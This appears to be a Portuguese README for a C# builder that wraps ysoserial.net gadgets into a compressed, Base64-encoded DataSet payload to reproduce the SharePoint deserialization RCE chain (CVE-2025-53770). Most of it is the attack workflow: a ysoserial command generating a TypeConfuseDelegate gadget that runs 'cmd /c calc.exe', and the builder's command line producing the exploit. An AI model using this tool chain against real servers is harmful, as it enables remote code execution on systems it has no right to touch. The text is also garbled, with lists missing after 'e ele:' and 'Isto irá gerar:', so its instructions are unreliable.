
Ferramenta C# que constrói um payload .NET DataSet compactado com GZip e codificado em Base64 usando LosFormatter para reproduzir a cadeia de RCE por desserialização do SharePoint (CVE-2025-53770).
Esta é uma ferramenta C# simples que constrói um payload DataSet .NET compactado com GZip e codificado em Base64, utilizando um payload interno codificado com LosFormatter. Foi concebida para ajudar a reproduzir a cadeia RCE de desserialização do SharePoint descrita em pesquisas públicas.
Você fornece um payload codificado em Base64 (como um do ysoserial.net) e ele:
.b64Primeiro, gere o seu payload usando ysoserial.net:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
Depois execute esta ferramenta:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
Isto irá gerar:
Além disso, se não especificar --a, --b ou --c, a ferramenta gera nomes aleatórios em minúsculas.
Notas
Esta ferramenta não valida ou inspeciona o payload que lhe fornece.
Se estiver a testar localmente e a desserializar manualmente, pode executar (por exemplo, abrir a calculadora).